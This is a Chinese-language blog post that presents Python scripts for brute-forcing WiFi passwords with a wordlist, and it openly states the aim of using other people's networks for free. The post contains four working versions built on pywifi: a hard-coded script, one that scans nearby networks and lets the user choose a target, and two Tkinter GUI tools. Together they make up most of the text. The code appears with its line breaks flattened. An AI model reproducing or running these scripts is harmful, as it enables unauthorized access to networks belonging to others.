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本文链接:
https://blog.csdn.net/weixin_39190897/article/details/119778471
前言
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。
无图形界面
先来看看没有图形界面版的爆破脚本。
WIFI爆破
import pywififrom pywifi import constimport timeimport datetime
def wifiConnect(pwd): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = "Tr0e" profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接")
def readPassword(): success = False print("****************** WIFI破解 ******************") path = "pwd.txt" file = open(path, "r") start = datetime.datetime.now() while True:
try: pwd = file.readline() pwd = pwd.strip('\n') bool = wifiConnect(pwd) if bool: print("[*] 密码已破解:", pwd) print("[*] WiFi已自动连接!!!") success = True break else: print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd)) except: continue end = datetime.datetime.now() if(success): print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start)) else: print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0)
if __name__=="__main__": readPassword()
代码运行效果:

脚本优化
以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:
import pywifiimport timefrom pywifi import const
def wifi_scan(): wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.scan() for i in range(4): time.sleep(1) print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')') print('\r扫描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) bss = interface.scan_results() wifi_name_set = set() for w in bss: wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) return wifi_name_list
def wifi_password_crack(wifi_name):
wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:") with open(wifi_dic_path, 'r') as f: for pwd in f: pwd = pwd.strip('\n') wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.disconnect() while interface.status() == 4: pass profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd interface.remove_all_network_profiles() tmp_profile = interface.add_network_profile(profile) interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: if interface.status() == 4: print(f'\r连接成功!密码为:{pwd}') exit(0) else: print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
def main(): exit_flag = 0 target_num = -1 while not exit_flag: try: print('WiFi万能钥匙'.center(35, '-')) wifi_list = wifi_scan() choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('请选择你要尝试破解的wifi:')) if target_num in range(len(wifi_list)): while not choose_exit_flag: try: choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break else: print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
except ValueError: print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') if choose_exit_flag == 1: break else: print('请重新输入哦(*^▽^*)') except ValueError: print('只能输入数字哦o(* ̄︶ ̄*)o') wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e
if __name__ == '__main__': main()
脚本运行效果如下:

上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:

图形化界面
下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。
关于 Tkinter 库的语法可参见:
https://www.runoob.com/python/python-gui-tkinter.html
简单版UI
from tkinter import *from pywifi import constimport pywifiimport time
def wificonnect(str, wifiname): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = wifiname profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.key = str profile.auth = const.AUTH_ALG_OPEN profile.cipher = const.CIPHER_TYPE_CCMP ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False
def readPwd(): wifiname = entry.get().strip() path = r'./pwd.txt' file = open(path, 'r') while True: try:
mystr = file.readline().strip() bool = wificonnect(mystr, wifiname) if bool: text.insert(END, '密码正确' + mystr) text.see(END) text.update() file.close() break else: text.insert(END, '密码错误' + mystr) text.see(END) text.update() except: continue
root = Tk()root.title('wifi破解')root.geometry('500x400')label = Label(root, text='输入要破解的WIFI名称:')label.grid()entry = Entry(root, font=('微软雅黑', 14))entry.grid(row=0, column=1)text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)button = Button(root, text='开始破解', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)root.mainloop()
脚本运行效果:

UI升级版
以上图形界面未允许选择密码字典,下面进行优化升级:
from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog import tkinter.messagebox
class MY_GUI(): def __init__(self, init_window_name): self.init_window_name = init_window_name self.get_value = StringVar() self.get_wifi_value = StringVar() self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() self.iface = self.wifi.interfaces()[0] self.iface.disconnect() time.sleep(1) assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self): return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
def set_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) self.wifi_tree.column("a", width=50, anchor="center") self.wifi_tree.column("b", width=100, anchor="center") self.wifi_tree.column("c", width=100, anchor="center") self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind("", self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS)
def scans_wifi_list(self): print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(15)
scanres = self.iface.scan_results() nums = len(scanres) print("数量: %s" % (nums)) self.show_scans_wifi_list(scanres) return scanres
def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename)
def onDBClick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, "r", errors="ignore") while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功!!!') print(self.res) break else: self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue
def connect(self, pwd_Str, wifi_ssid): self.profile = pywifi.Profile() self.profile.ssid = wifi_ssid self.profile.auth = const.AUTH_ALG_OPEN self.profile.akm.append(const.AKM_TYPE_WPA2PSK) self.profile.cipher = const.CIPHER_TYPE_CCMP self.profile.key = pwd_Str self.iface.remove_all_network_profiles() self.tmp_profile = self
.iface.add_network_profile(self.profile) self.iface.connect(self.tmp_profile) time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: isOK = True else: isOK = False self.iface.disconnect() time.sleep(1) assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK
def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()
if __name__ == "__main__": gui_start()
脚本运行效果如下:

以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码。
相关教程可参见:
https://blog.csdn.net/leidawangzi/article/details/110826210
-End-
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